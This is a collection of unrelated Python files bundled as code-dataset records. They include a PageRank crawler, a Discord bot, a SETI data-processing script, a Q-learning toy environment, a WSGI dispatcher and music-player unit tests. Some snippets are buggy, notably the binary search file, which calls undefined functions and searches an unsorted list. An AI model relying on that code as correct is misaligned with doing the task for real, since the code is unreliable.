delta_check = True\n for i in range(len(biezacy_macierz_rankow)):\n if abs(biezacy_macierz_rankow[i] - poprzedni_macierz_rankow[i]) > 0.01:\n delta_check = False\n break\n if (iteracja == 100) or (delta_check == True):\n licz_iteracyjnie = False\n poprzedni_macierz_rankow = np.copy(biezacy_macierz_rankow) \n print(\"Wykonano \", iteracja, \" iteracji.\")\n rank_dictionary = {}\n for i in range(len(lista_stron)):\n rank_dictionary.update({lista_stron[i] : biezacy_macierz_rankow[i, 0]})\n page_rank_sorted = sorted(rank_dictionary.items(), reverse=True, key=lambda w: w[1]) # po wartosciach\n return page_rank_sorted\n\n#przeszukiwanie domeny\nslownik_stron_i_odwiedzin_sorted = przeszukaj_domene()\nprint(\"Wyniki przeszukiwania (adres url, liczba \")\n#for i in slownik_stron_i_odwiedzin_sorted:\n# print(i)\nprint(\"Podaj ilosc najczesciej wystepujacych wynikow do wyswietlenia:\")\nilosc = int(input())\nlicznik = 0\nfor i in slownik_stron_i_odwiedzin_sorted:\n licznik += 1\n if licznik > ilosc:\n break\n print(i)\n#tworzenie page rank\nlista_stron = []\nfor i in slownik_stron_i_odwiedzin_sorted:\n lista_stron.append(i[0])\nprint()\npage_rank = stworz_prostego_page_ranka(lista_stron)\n#print(\"Strony posortowane wedlug page rank:\")\n#for i in page_rank:\n# print(i)\nprint(\"Podaj ilosc elementow do wydruku dla page ranka:\")\nilosc = int(input())\nlicznik = 0\nfor i in page_rank:\n licznik += 1\n if licznik > ilosc:\n break\n print(i)\nnp.savetxt(\"przeszukane.csv\", slownik_stron_i_odwiedzin_sorted, fmt='%s')\nnp.savetxt(\"pagerank.csv\", page_rank, fmt='%s')\n\n\n","sub_path":"crawler_scraper.py","file_name":"crawler_scraper.py","file_ext":"py","file_size_in_byte":7692,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"602078733","text":"'''\nCreated on 3 Dec 2014\n\n'''\nimport logging\nfrom pubbot.conversation import chat_receiver\n\nimport giphypop\n\nlogger = logging.getLogger(__name__)\n\n\n@chat_receiver('^gifme:\\\\s+(?P.*)')\ndef giphy_request(sender, terms, **kwargs):\n logger.info(\"giphy_request: %r\" % terms)\n\n try:\n g = giphypop.Giphy()\n results = g.search_list(phrase=terms, limit=1)\n except Exception:\n logger.exception(\"Exception fetching/decoding giphy response\")\n return\n\n if results:\n return {\"content\": results[0].media_url}\n return {\"content\": \"No gifs found\"}\n","sub_path":"pubbot/giphy/receivers.py","file_name":"receivers.py","file_ext":"py","file_size_in_byte":589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"164321454","text":"class Solution:\n def complexNumberMultiply(self, a, b):\n \"\"\"\n :type a: str\n :type b: str\n :rtype: str\n \"\"\"\n a_vals = a.split('+')\n a_real = int(a_vals[0])\n a_image = int(a_vals[1][:-1])\n b_vals = b.split('+')\n b_real = int(b_vals[0])\n b_image = int(b_vals[1][:-1])\n\n p1 = a_real * b_real\n p2 = a_real * b_image\n p3 = a_image * b_real\n p4 = -a_image * b_image\n\n return '{}+{}i'.format(p1 + p4, p2 + p3)\n","sub_path":"src/537_Complex_Number_Multiplication.py","file_name":"537_Complex_Number_Multiplication.py","file_ext":"py","file_size_in_byte":517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"643056090","text":"# imports n stuff\nimport numpy as np\nimport os\nimport sys\nimport pdb\nimport glob\nimport time\nimport argparse\nimport turbo_seti\nimport blimpy as bp\nimport seti_lens as sl\nfrom turbo_seti.find_doppler.find_doppler import FindDoppler\nfrom turbo_seti.find_event.find_event_pipeline import find_event_pipeline\nfrom turbo_seti.find_event.plot_event_pipeline import plot_event_pipeline\n\ndef parse_args():\n parser = argparse.ArgumentParser(description='Process GBT Breakthrough data.')\n parser.add_argument('indir', metavar='indir', type=str, nargs=1,\n help='directory containing the .fil files')\n parser.add_argument('--clobber', action='store_true',\n help='overwrite files if they already exist')\n parser.add_argument('--gpu', action='store_true',\n help='use GPU acceleration if possible')\n args = parser.parse_args()\n\n # check for trailing slash\n odict = vars(args)\n indir = odict[\"indir\"][0]\n if indir[-1] != \"/\":\n indir += \"/\"\n odict[\"indir\"] = indir\n return odict\n\n\ndef get_file_id(filename):\n return str(filename.split(\".\")[0][-2:])\n\n\ndef get_blc(filename):\n return str(filename.split(\"_\")[0][-2:])\n\n\ndef sort_by_file_id(file_list):\n # look for the observing sequence number in file name\n ids = []\n for file in file_list:\n ids.append(get_file_id(file))\n idx = np.argsort(ids)\n file_list = np.array(file_list)[idx]\n file_list = np.ndarray.tolist(file_list)\n return file_list\n\n\ndef sort_by_blc(file_list):\n # look for the blc node in the file name\n ids = []\n for file in file_list:\n ids.append(get_blc(file))\n idx = np.argsort(ids)\n file_list = np.array(file_list)[idx]\n file_list = np.ndarray.tolist(file_list)\n return file_list\n\n\ndef find_input_data(indir, suffix, zeros_only=True, sort_id=True):\n # find the data first\n if zeros_only:\n file_list = glob.glob(indir + \"*0000\" + suffix)\n else:\n file_list = glob.glob(indir + \"*\" + suffix)\n\n # sort by file IDs if true\n assert len(file_list) >= 1\n if sort_id:\n file_list = sort_by_file_id(file_list)\n \n return file_list\n\n\ndef convert_to_h5(file, outdir=\"./\", clobber=False):\n # check if the file already exists\n pre, ext = os.path.splitext(os.path.basename(file))\n out_file = outdir + pre + \".h5\"\n if os.path.isfile(out_file):\n if clobber == False:\n print(\"\\n\" + pre + \".h5\" + \" already exists. Moving on...\")\n return out_file\n\n # else do the conversion and return new file name\n print(\"\\nconverting \" + file + \" to HDF5\")\n bp.fil2h5.make_h5_file(file, out_dir=outdir)\n print(\"finished \" + out_file)\n return out_file\n\n\ndef run_turbo_seti(file, max_drift=np.nan, min_snr=10.0, outdir=\"./\", clobber=False, gpu_backend=False):\n assert max_drift != np.nan\n\n # check if the file already exists\n pre, ext = os.path.splitext(os.path.basename(file))\n out_file = outdir + pre + \".dat\"\n if os.path.isfile(out_file):\n if clobber == False:\n print(\"\\n\" + pre + \".dat\" + \" already exists. Moving on...\")\n return out_file\n else:\n os.remove(out_file)\n\n # call FindDoppler\n print(\"\\nrun_turbo_seti: Calling FindDoppler({})\".format(file))\n fdop = FindDoppler(datafile=file, max_drift=max_drift,\n snr=min_snr, out_dir=outdir, min_drift=-max_drift,\n gpu_backend=gpu_backend)\n\n # search for hits and report elapsed time.\n print(\"\\nPlease wait ...\")\n t0 = time.time()\n fdop.search()\n et = time.time() - t0\n print(\"run_turbo_seti: search() elapsed time = {} seconds\".format(et))\n print(\"\\n\")\n\n # return the .dat file name\n return out_file\n\n\ndef main():\n # parse the command line arguments\n cmd_args = parse_args()\n\n # get the input data directory and the clobber value\n indir = cmd_args[\"indir\"]\n if not os.path.isdir(indir):\n print(\"\\n Specified directory does not exist. Exiting... \\n\")\n sys.exit()\n\n # deal with GPU stuff\n gpu_backend = cmd_args[\"gpu\"]\n if gpu_backend:\n import cupy\n outdir = indir + \"processed_gpu/\"\n else:\n outdir = indir + \"processed/\"\n\n # make the \"processed\" directory if needed\n if not os.path.isdir(outdir):\n os.mkdir(outdir)\n\n # delete old output if clobber is true\n clobber = cmd_args[\"clobber\"]\n if clobber:\n print(\"\\nRemoving old files...\")\n old_files = glob.glob(outdir + \"dat*.lst\")\n for file in old_files:\n os.remove(file)\n print(\"%s has been removed successfully\" %file) \n\n # remove old dat lists even if clobber off \n print(\"\\nRemoving old dat lists...\")\n old_files = glob.glob(outdir + \"dat*.lst\")\n for file in old_files:\n os.remove(file)\n print(\"%s has been removed successfully\" %file) \n\n\n # get appropriate list of .dat files in directory\n dat_list = find_input_data(outdir, '.dat')\n dat_list = sort_by_file_id(dat_list)\n\n for file in dat_list:\n # write .dat files to .lst file for FileCombiner.py\n file_id = str(get_file_id(file))\n lst_dat = outdir + \"dat\" + file_id + \"_files.lst\"\n f = open(lst_dat,'a+')\n f.write(\"%s\\n\" %file)\n f = open(lst_dat,'r')\n dlist = f.read().splitlines()\n if len(dlist) > 1:\n dlist = sort_by_blc(dlist)\n f = open(lst_dat,'w')\n for item in dlist:\n f.write(\"%s\\n\" %item)\n\n return None\n\n\n# run it!\nif __name__ == \"__main__\":\n main()\n","sub_path":"Tabby/old_templates/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":5618,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"456528558","text":"import nest_asyncio\r\nnest_asyncio.apply()\r\n\r\nfrom discord.ext import commands\r\nimport discord\r\nimport dbl\r\nimport os\r\nfrom dotenv import load_dotenv\r\nload_dotenv()\r\n\r\nfrom lib.functions import fn, ftime, voting_handler, predicate\r\nfrom lib.database import db\r\nfrom lib.triggers import tr\r\nfrom lib.commands import cmds\r\n\r\nimport lib.commands as cm\r\n\r\nfn = fn()\r\n\r\nclass FBot(commands.Bot):\r\n\r\n def __init__(self):\r\n\r\n owners = [671791003065384987, 216260005827969024, 311178459919417344, 668423998777982997]\r\n\r\n intents = discord.Intents.default()\r\n intents.typing = False\r\n intents.presences = False\r\n\r\n super().__init__(command_prefix=fn.getprefix, owner_ids=owners, intents=intents)\r\n\r\n self.fn = fn\r\n self.db = db()\r\n self.ftime = ftime()\r\n self.dbl = dbl.DBLClient(self, os.getenv(\"TOPGG_TOKEN\"), webhook_path=\"/dblwebhook\",\r\n webhook_auth=os.getenv(\"WEBHOOK_AUTH\"), webhook_port=6000)\r\n\r\n tr.load()\r\n cmds.load()\r\n\r\n async def on_connect(self):\r\n print(f\"\\n > Began signing into Discord as {self.user}\")\r\n\r\n async def on_ready(self):\r\n print(f\" > Finished signing into Discord as {self.user}\\n\")\r\n self.db.checkguilds(self.guilds)\r\n fn.setbot(self)\r\n self.ftime.set()\r\n print(f\" > Session started at {bot.ftime.start}\\n\")\r\n\r\n self.remove_command(\"help\")\r\n for cog in self.fn.getcogs():\r\n if cog not in []:\r\n print(f\"Loading {cog}...\", end=\"\")\r\n try: self.reload_extension(\"cogs.\" + cog[:-3])\r\n except: self.load_extension(\"cogs.\" + cog[:-3])\r\n finally: print(\"Done\")\r\n print(\"\\n > Finished loading cogs\")\r\n\r\n for command in cm.commands:\r\n self.cache[\"Cooldowns\"].add_command(command, tuple(cm.commands[command][3:5]))\r\n for command in cm.devcmds:\r\n self.cache[\"Cooldowns\"].add_command(command, (0, 0))\r\n print(\" > Finished setting up cooldowns\\n\")\r\n\r\n await self.change_presence(status=discord.Status.online,\r\n activity=discord.Game(name=\"'FBot help'\"))\r\n\r\nbot = FBot()\r\nvoting_handler(bot)\r\n\r\nbot.add_check(predicate)\r\nbot.run(os.getenv(\"FBOT_TOKEN\"))","sub_path":"FBot.py","file_name":"FBot.py","file_ext":"py","file_size_in_byte":2271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"305002691","text":"import numpy as np\nimport random\nimport tensorflow as tf\nfrom flask import Flask, jsonify, request\nfrom keras.models import load_model\n\napp = Flask(__name__)\n\ndef input_conversion(data):\n \n ratings = np.zeros(3952)\n for id in data:\n ratings[id - 1] = random.choice([3, 4, 5])\n ratings = ratings.reshape(1, -1)\n return ratings\n\n@app.route('/', methods=['GET', 'POST'])\ndef get_predictions():\n inputs = request.json['favorites']\n input_vector = input_conversion(inputs)\n \n with g.as_default():\n preds = autoencoder.predict(input_vector)\n \n preds = preds.reshape(-1, 1)\n \n recommendations = []\n sorted(preds)\n for index in range(len(preds)):\n recommend_dict = {'movie_id': index + 1, 'rating': preds[index, 0]}\n recommendations.append(recommend_dict)\n recommendations = sorted(recommendations, key=lambda k: k['rating'], reverse = True) \n \n # Return top 20 movies\n final_array = []\n for r in recommendations:\n final_array.append(r['movie_id'])\n if len(final_array) == 20:\n break\n return jsonify({'recommendations' : final_array})\n\nif __name__ == '__main__':\n g = tf.Graph()\n with g.as_default():\n print(\" * Loading model\")\n autoencoder = load_model('autoencoder.h5')\n print(\" * Autoencoder Neural Network Loaded\")\n app.run()","sub_path":"flask/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"596604503","text":"# 循环版本\ndef binary_search1(list, key):\n first = 0\n last = len(list) - 1\n while first < last:\n mid = int((first + last) / 2)\n if key < list[mid]:\n last = mid - 1\n elif key > list[mid]:\n first = mid + 1\n else:\n return mid\n return False\n\n\"\"\"\npython3:\n/是精确除法,//是向下取整除法\n\n3/2=1.5\n\npython2:\n\n1 \"/\"所做的除法是以一种两个数或者多个数出现一个浮点数结果就以浮点数的形式表示,即float除法:3/2=1 3/2.0=1.5\n2 \"//\"向下取整\n\n\"\"\"\n# 递归版本\ndef binary_search2(alist, item):\n if len(alist) == 0:\n return False\n else:\n midpoint = len(alist) // 2\n if alist[midpoint] == item:\n return True\n else:\n if item < alist[midpoint]:\n return binarySearch(alist[:midpoint], item)\n else:\n return binarySearch(alist[midpoint + 1:], item)\n\n\nlist = [1, 5, 8, 123, 22, 54, 7, 99, 300, 222]\nresult = BinarySearch(list, 22)\nprint(result)","sub_path":"Python/python_Searching/BinarySearch.py","file_name":"BinarySearch.py","file_ext":"py","file_size_in_byte":1049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"293204443","text":"import sys\nimport shutil\nimport os\nimport datetime\n\ncount = 0\nn = 0\nconv = 0.5 # this value will vary for different test cases in the backend\nepoch = sys.argv[1]\n\ndef rewrite_pagerank():\n os.remove(\"v\")\n source = \"v1\"\n destination = \"v\"\n dest = shutil.copyfile(source, destination)\n\n\nwith open(\"v\") as file1, open(\"v1\") as file2, open(\"log\", \"a\") as logging:\n for line1, line2 in zip(file1, file2):\n count += 1\n old_pagerank = float(line1.split(\",\")[1])\n new_pagerank = float(line2.split(\",\")[1])\n\n if abs(old_pagerank - new_pagerank) < conv:\n n += 1\n\t\n if epoch == '1':\n t = str(datetime.datetime.now())\n logging.write(f\"BEGINNING CONVERGENCE AT {t}\\n\")\n logging.write(f\"Iteration: {epoch} - {n}/{count}\\n\")\n\n if n == count:\n t = str(datetime.datetime.now())\n logging.write(f\"CONVERGENCE REACHED AT {t}\\n\")\n print(0)\n else:\n rewrite_pagerank()\n print(1)\n","sub_path":"PageRank/check_conv.py","file_name":"check_conv.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"93736826","text":"\"\"\"\nFunções - def em Python (parte 2)\n\"\"\"\n\n# cria a funcao\ndef divisao(n1, n2):\n if n2 == 0:\n return\n return n1/n2\n\ndivide = divisao(10, 5)\n\nif divide:\n print(divide)\nelse:\n print('Conta inválida.')","sub_path":"secao3/aula46/funcoespt2.py","file_name":"funcoespt2.py","file_ext":"py","file_size_in_byte":220,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"455578028","text":"__author__ = 'xuezenghan'\n\nimport cgi\n\n\ndef notfound_404(environ,start_response):\n start_response('404 Not Found',[('Content-type','text/plain')])\n return [b'Not Found']\n\n\n\nclass PathDispatcher:\n def __init__(self):\n self.pathmap = {}\n\n def __call__(self, environ, start_response):\n path = environ['PATH_INFO']\n params = cgi.FieldStorage(environ['wsgi.input'],environ=environ)\n\n method = environ['REQUEST_METHOD'].lower()\n\n environ['params'] = {key:params.getvalue(key) for key in params}\n\n handler = self.pathmap.get((method,path),notfound_404)\n return handler(environ,start_response)\n\n\n\n def register(self,method,path,function):\n self.pathmap[method.lower(),path] = function\n return function\n\n\nimport time\n\n_hello_resp = '({\"status\":1,\"error_code\":0,\"data\":1})'\n\n\ndef hello_world(environ,start_response):\n start_response('200 OK',[('Content-type','text/html')])\n params = environ['params']\n # print(params[\"callback\"])\n # resp = _hello_resp.format(name=params.get('name'))\n #拼接response\n\n resp = params.get(\"callback\")+_hello_resp\n\n yield resp.encode('utf-8')\n\n\n\nif __name__ == '__main__':\n from resty import PathDispatcher\n from wsgiref.simple_server import make_server\n\n dispatcher = PathDispatcher()\n dispatcher.register('GET','/check_str',hello_world)\n\n httpd = make_server('',80,dispatcher)\n print('Serving on port 80...')\n httpd.serve_forever()","sub_path":"resty.py","file_name":"resty.py","file_ext":"py","file_size_in_byte":1475,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"440711398","text":"import gym\nimport time\nfrom functools import reduce\nimport argparse\nimport collections\nimport numpy as np\nimport pandas as pd\nfrom gym import spaces\nimport matplotlib.pylab as plt\n\nExperience = collections.namedtuple(typename='Experience', field_names=['state', 'action', 'reward', 'done', 'nextState'])\n\n\nclass OptiFunctionEnv(gym.Env):\n\n def __init__(self):\n super(OptiFunctionEnv, self).__init__()\n \"\"\"\n Description:\n y = x^{2} 的目标函数,希望求得能够使得目标函数最小的x。\n Source:\n This code corresponds to the version of the cart-pole problem described by\n https://github.com/openai/gym/blob/master/gym/envs/classic_control/cartpole.py\n Observation:\n Type: Box(1)\n Num Observation Min Max\n 0 x Position -5 5\n Actions:\n Type: Discrete(3)\n Num Action\n 0 Push x to the left with add -1\n 1 Push x to the right with add 1\n 2 Push x to stop with add 0\n Note: The amount the velocity that is reduced or increased is not\n fixed; it depends on the angle the pole is pointing. This is because\n the center of gravity of the pole increases the amount of energy needed\n to move the cart underneath it\n Reward:\n The reward function is related to the objective function for every\n step taken, termination step\n Starting State:\n All observations are assigned a random sample value using observation_space.sample()\n Episode Termination:\n x position is more than 5 degrees.\n Solved Requirements:\n The agent finds optimal solution.\n \"\"\"\n self.action_space = spaces.Discrete(2) # 设置动作空间:0, 1。表示向左向右。\n self.length = 5\n self.high = np.array([self.length]) # 状态空间边界范围为5。\n # 设置状态空间范围:-high到high,类型为int32\n self.observation_space = spaces.Box(-self.high, self.high, dtype=np.int32)\n self.state = None\n self.count = 0\n\n def func(self, x):\n return np.power(x, 2)\n # return (x+2)*(2+1)*(x-2)*(x-1)\n\n def step(self, action):\n \"\"\"\n 给定动作,在环境中进行状态转移\n :param action:\n :return:\n \"\"\"\n err_msg = \"{} ({}) invalid\".format(action, type(action))\n assert self.action_space.contains(action), err_msg\n\n self.count += 1\n pre_state = self.state\n self.state += 1 if action else -1\n\n done = bool(self.state < -self.length or self.state > self.length or self.count >= 20)\n\n if done:\n reward = -(self.func(self.state) - self.func(pre_state))\n else:\n reward = -(self.func(self.state) - self.func(pre_state))\n return self.state, reward, done, {}\n\n def reset(self):\n \"\"\"\n 初始化环境状态\n :return:\n \"\"\"\n self.count = 0\n self.state = np.random.choice([self.observation_space.low[0], self.observation_space.high[0]])\n return self.state\n\n def render(self, mode='human'):\n x = np.linspace(-self.length, self.length, 100)\n y = [self.func(i) for i in x]\n plt.cla()\n plt.plot(x, y, 'r', linewidth=2)\n plt.scatter(self.state, self.func(self.state), linewidth=10)\n plt.title(\"Find the solution corresponding to the minimum objective value\")\n plt.pause(0.1)\n\n\n def close(self):\n pass\n\n\nclass ExperienceBuffer:\n def __init__(self, args):\n self.buffer = collections.deque(maxlen=args.replay_size)\n\n def __len__(self):\n return len(self.buffer)\n\n def append(self, experience):\n self.buffer.append(experience)\n\n def sample(self, batch_size):\n \"\"\"\n randomly sample the batch of transitions from the replay buffer.\n :param batch_size:\n :return:\n \"\"\"\n indices = np.random.choice(len(self.buffer), batch_size, replace=False)\n states, actions, rewards, dones, next_states = zip(*[self.buffer[idx] for idx in indices])\n return np.array(states), np.array(actions), np.array(rewards, dtype=np.float32), \\\n dones, np.array(next_states)\n\n def sample_last(self):\n \"\"\"\n sample the last transitions from the replay buffer.\n :return:\n \"\"\"\n indices = [len(self.buffer)-1]\n states, actions, rewards, dones, next_states = zip(*[self.buffer[idx] for idx in indices])\n return states[0], actions[0], rewards[0], dones[0], next_states[0]\n\n\nclass Agent(object):\n\n def __init__(self, env, exp_buffer, args):\n \"\"\"\n 初始化智能体\n :param env:\n :param exp_buffer:\n :param args:\n \"\"\"\n self.env = env\n self.exp_buffer = exp_buffer\n self.q_table = self.build_model()\n self.args = args\n\n def build_model(self):\n \"\"\"\n 构建智能体模型\n :return:\n \"\"\"\n obs_index = list(range(self.env.observation_space.low[0], self.env.observation_space.high[0] + 1))\n q_table = pd.DataFrame(np.random.random((len(obs_index), self.env.action_space.n)), obs_index,\n list(range(self.env.action_space.n)))\n return q_table\n\n def choose_action(self, state):\n \"\"\"\n 根据环境观测值选择动作的机制\n :param state:\n :return:\n \"\"\"\n state_action = self.q_table.loc[state, :]\n if np.random.uniform() > self.args.epsilon or (state_action == 0).all():\n action_name = np.random.choice(self.q_table.columns.values)\n else:\n action_name = state_action.idxmax()\n return action_name\n\n def store_transition(self, state, action, r, done, state_next):\n \"\"\"\n 存储轨迹\n :param state:\n :param action:\n :param r:\n :param done:\n :param state_next:\n :return:\n \"\"\"\n exp = Experience(state, action, r, done, state_next)\n self.exp_buffer.append(exp)\n\n def learn(self):\n \"\"\"\n 更新智能体模型\n :return:\n \"\"\"\n buffer = self.exp_buffer.sample_last()\n state, action, r, done, next_state = buffer\n if done:\n delta = r - self.q_table.loc[state, action]\n else:\n delta = r + self.args.gamma * self.q_table.iloc[next_state, :].max() - self.q_table.loc[state, action]\n self.q_table.loc[state, action] += self.args.lr * delta\n return None\n\n\ndef main():\n parser = argparse.ArgumentParser(description=\"The parameter of Q-Learning\")\n parser.add_argument(\"--replay_size\", type=int, help=\"maximum capacity of the buffer\", default=10000)\n parser.add_argument(\"--gamma\", type=float, help=\"gamma value used for Bellman approximation\", default=0.95)\n parser.add_argument(\"--lr\", type=float, help=\"learning rate used in the Adam optimizer\", default=0.1)\n parser.add_argument(\"--epsilon\", type=float, help=\"epsilon for greedy\", default=0.9)\n args = parser.parse_args()\n\n buffer = ExperienceBuffer(args=args)\n\n env = OptiFunctionEnv()\n agent = Agent(env, buffer, args)\n\n for epoch in range(10000):\n state, done = env.reset(), False # 1. 获取初始状态信息\n episode_r = []\n while not done:\n env.render()\n action = agent.choose_action(state) # 2. 依据状态选择动作\n state_next, r, done, info = env.step(action) # 3. 依据动作更新环境状态\n agent.store_transition(state, action, r, done, state_next)\n agent.learn() # 4. 智能体进行学习\n if not done:\n state = state_next # 5. 更新状态\n episode_r.append(r)\n print(\"epoch: {} | len_ep_r: {} | avg_r: {}\".format(epoch, len(episode_r), np.sum(episode_r) / len(episode_r)))\n env.close()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"chap02 Tabular learning/Q-learning.py","file_name":"Q-learning.py","file_ext":"py","file_size_in_byte":8135,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"109808420","text":"help_text = \"\"\"\n======================================================================\n SHOPPING LIST\n- To view shopping list, type 'view'\n- To add an item, type 'add' followed by the item name\n- To remove an item, type 'remove' followed by the item name\n======================================================================\"\"\"\n\nprint(help_text)\n\nshopping = eval(open(\"shoppinglist.txt\").read())\nwhile True:\n\tdef write():\n\t\twith open('shoppinglist.txt', 'w') as f:\n\t\t\tprint(shopping, file=f)\n\n\tdef add(query):\n\t\telement = query[4:]\n\t\tshopping.append(element)\n\t\tprint(f\"\\n- {element} added\")\n\t\twrite()\n\n\tdef remove(query):\n\t\telement = query[7:]\n\t\tif element in shopping:\n\t\t\tshopping.remove(element)\n\t\t\tprint(f\"\\n- {element} removed\")\n\t\telse:\n\t\t\tprint(\"Item not found!\")\n\t\twrite()\n\n\tdef view():\n\t\tif shopping == []:\n\t\t\tprint(\"\\nShopping list is empty!\\nType 'add' followed by the item description to add some items.\")\n\t\telse:\n\t\t\tprint(\"\\n==========================\\nShopping List\\n==========================\")\n\t\t\tfor i in shopping:\n\t\t\t\tprint(f\"- {i}\")\n\t\t\tprint(\"==========================\")\n\n\tquery = input(\"\\nEnter command:\\n\")\n\tif \"add \" in query:\n\t\tadd(query)\n\telif \"remove \" in query:\n\t\tremove(query)\n\telif \"view\" in query:\n\t\tview()\n\telse:\n\t\tprint(\"Please enter a valid command!\")","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"254735930","text":"# include the parent directories files\nimport sys \nimport os\nsys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\n\n# including unit testing stuff\nimport unittest\nfrom unittest import IsolatedAsyncioTestCase\nfrom unittest.mock import AsyncMock\nfrom unittest.mock import Mock\n\n# needed stuff\nimport youtube_dl\nfrom musicplayer import MusicPlayer\nimport discord\n\n#mocking things that need to be mocked\ndiscord.FFmpegPCMAudio = Mock()\ndiscord.PCMVolumeTransformer = Mock(discord.PCMVolumeTransformer)\n\nclass MusicPlayerTest(IsolatedAsyncioTestCase):\n def test_hello(self):\n self.assertEqual(1,1)\n\n def setUp(self):\n\n # creating mock discord interactions\n self.textChannel = AsyncMock()\n self.textChannel2 = AsyncMock()\n\n\n self.voiceChannel = AsyncMock(discord.VoiceChannel)\n self.voiceChannel.connect.return_value = AsyncMock(discord.VoiceClient)\n\n self.voiceChannel2 = AsyncMock(discord.VoiceChannel)\n self.voiceChannel2.connect.return_value = AsyncMock(discord.VoiceClient)\n\n self.client = AsyncMock()\n\n # creating mock data interactions\n data = { 'url': 'http://mock.url',\n 'title': 'Mock Youtube Video' }\n self.ytdl = Mock()\n self.ytdl.extract_info = Mock(return_value=data)\n\n # creating client\n self.player = MusicPlayer(self.client, self.ytdl)\n \n def tearDown(self):\n self.textChannel = None\n self.textChannel2 = None\n self.voiceChannel = None\n self.voiceChannel2 = None\n self.ytdl = None\n self.client = None\n self.player = None\n\n\n############ Testing normal operations\n\n async def test_creation(self):\n self.assertIsNotNone(self.client)\n\n async def test_addition(self):\n await self.player.command_add(\"test url\", self.textChannel)\n assert len(self.player.music_queues[self.player.current_queue]) == 1\n await self.player.command_add(\"test url\", self.textChannel)\n assert len(self.player.music_queues[self.player.current_queue]) == 2\n\n async def test_playing(self):\n await self.player.command_add(\"test url\", self.textChannel)\n await self.player.command_play(self.textChannel, self.voiceChannel)\n\n # make sure the voice channel was joined\n assert self.player.voice_channel == self.voiceChannel\n # make sure the text channel was used\n self.assertEqual(self.player.text_channel, self.textChannel)\n assert self.textChannel.send.called\n # make sure the player had play called\n assert self.player.voice_client is not None\n assert self.player.voice_client.play.called\n # make sure song is playing\n self.assertEqual( self.player.state, \"playing\")\n\n\n async def test_add_while_playing(self):\n data1 = { 'url': 'http://mock.url',\n 'title': 'Mock Youtube Video' }\n self.ytdl.extract_info.return_value = data1\n # add first thing and play\n await self.player.command_add(\"test url\", self.textChannel)\n await self.player.command_play(self.textChannel, self.voiceChannel)\n\n # add second thing\n data2 = { 'url': 'http://mock.url',\n 'title': 'Mock Youtube Video 2' }\n self.ytdl.extract_info.return_value = data2\n\n await self.player.command_add(\"test url\", self.textChannel)\n\n # make sure the currently playing song is the first one\n self.assertEqual(self.player.currently_playing.title, data1.get('title'))\n # and the second on is in the queue\n self.assertEqual(self.player.music_queues[self.player.current_queue][0].title, data2.get('title'))\n\n async def test_pause(self):\n #add and play a song\n await self.player.command_add(\"test url\", self.textChannel)\n await self.player.command_play(self.textChannel, self.voiceChannel)\n\n #pause\n await self.player.command_pause(self.textChannel)\n\n #check that pause was called in the player, and the member is set\n assert self.player.voice_client.pause.called\n self.assertEqual(self.player.state, \"paused\")\n\n async def test_stop(self):\n #add and play a song\n await self.player.command_add(\"test url\", self.textChannel)\n await self.player.command_play(self.textChannel, self.voiceChannel)\n\n #stop\n await self.player.command_stop(self.textChannel)\n #check that pause was called in the player, and the member is set\n assert self.player.voice_client is None\n assert self.player.currently_playing is None\n\n async def test_playnow(self):\n # add some songs and start playing\n await self.player.command_add(\"test url\", self.textChannel)\n await self.player.command_add(\"test url\", self.textChannel)\n await self.player.command_play(self.textChannel, self.voiceChannel)\n\n # try to play this song now\n data2 = { 'url': 'http://mock.url',\n 'title': 'Mock Youtube Video 2' }\n self.ytdl.extract_info.return_value = data2\n\n await self.player.command_playnow(\"test url\", self.textChannel, self.voiceChannel)\n\n # verify its playing\n self.assertEqual( data2.get('title'), self.player.currently_playing.title)\n assert self.player.voice_client is not None\n self.assertEqual(self.player.state, \"playing\")\n\n async def test_two_playnows(self):\n\n await self.player.command_playnow(\"test url\", self.textChannel, self.voiceChannel)\n await self.player.command_playnow(\"test url\", self.textChannel, self.voiceChannel)\n\n # verify its playing\n assert self.player.currently_playing is not None\n assert self.player.voice_client is not None\n self.assertEqual(self.player.state, \"playing\")\n\n async def test_queue_switch(self):\n # check that the default queue is zero\n self.assertEqual(self.player.current_queue, \"0\")\n await self.player.command_switch_queue(\"1\", self.textChannel)\n self.assertEqual(self.player.current_queue, \"1\")\n\n async def test_adding_queues(self):\n\n # add something to the default queue\n data1 = { 'url': 'http://mock.url',\n 'title': 'Mock Youtube Video 1' }\n self.ytdl.extract_info.return_value = data1\n await self.player.command_add(\"test url\", self.textChannel)\n\n # switch to queue two\n data2 = { 'url': 'http://mock.url',\n 'title': 'Mock Youtube Video 2' }\n self.ytdl.extract_info.return_value = data2\n await self.player.command_switch_queue(\"1\", self.textChannel)\n\n # add somsething to it\n await self.player.command_add(\"test url\", self.textChannel)\n\n # verify that the things were added correctly\n self.assertEqual(len(self.player.music_queues[\"0\"]), 1)\n self.assertEqual(len(self.player.music_queues[\"1\"]), 1)\n\n self.assertEqual(self.player.music_queues[\"0\"][0].title, data1.get('title'))\n self.assertEqual(self.player.music_queues[\"1\"][0].title, data2.get('title'))\n\n async def test_playing_in_queue(self):\n # add something to the default queue\n data1 = { 'url': 'http://mock.url',\n 